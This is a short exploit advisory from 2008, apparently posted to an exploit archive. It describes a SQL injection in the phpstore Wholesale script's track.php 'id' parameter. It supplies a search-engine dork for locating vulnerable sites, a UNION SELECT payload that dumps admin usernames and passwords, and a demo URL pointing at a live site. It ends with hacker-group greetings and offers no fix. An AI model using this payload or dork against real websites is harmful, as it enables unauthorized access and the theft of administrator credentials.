phpstore Wholesale (track.php?id) SQL Injection Vulnerability
2008-11-16 05:30:02|___________________________________________________
|
| Wholesale ( track.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|
|
| Author: Hussin X
|
| Home : WwW.IQ-ty.CoM
|
| email: [email protected]
|
|___________________________________________________
|
| script : http://www.phpstore.info/product_info.php?cPath=36_53&products_id=162
|
| DorK : inurl:"track.php?id="
|___________________________________________________
Exploit:
________
www.[target].com/Script/track.php?id=-2+union+select+concat(username,0x3e,password)+FROM+admin--
Demo
________
http://phpstore.info/demos/wholesale/track.php?id=-2+union+select+concat(username,0x3e,password)+FROM+admin--
____________________________( Greetz )_________________________________
|
| All members of the Forum| WwW.IQ-ty.CoM | WwW.TrYaG.CC |
|
| My friends : DeViL iRaQ | IRAQ_JAGUR | Cyber-Zone | Sakab
|
| Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | CraCkEr | G4N0K
|_____________________________________________________________________
Im IRAQi | Im TrYaGi
#
Fixes
No fixesIn order to submit a new fix you need to be registered.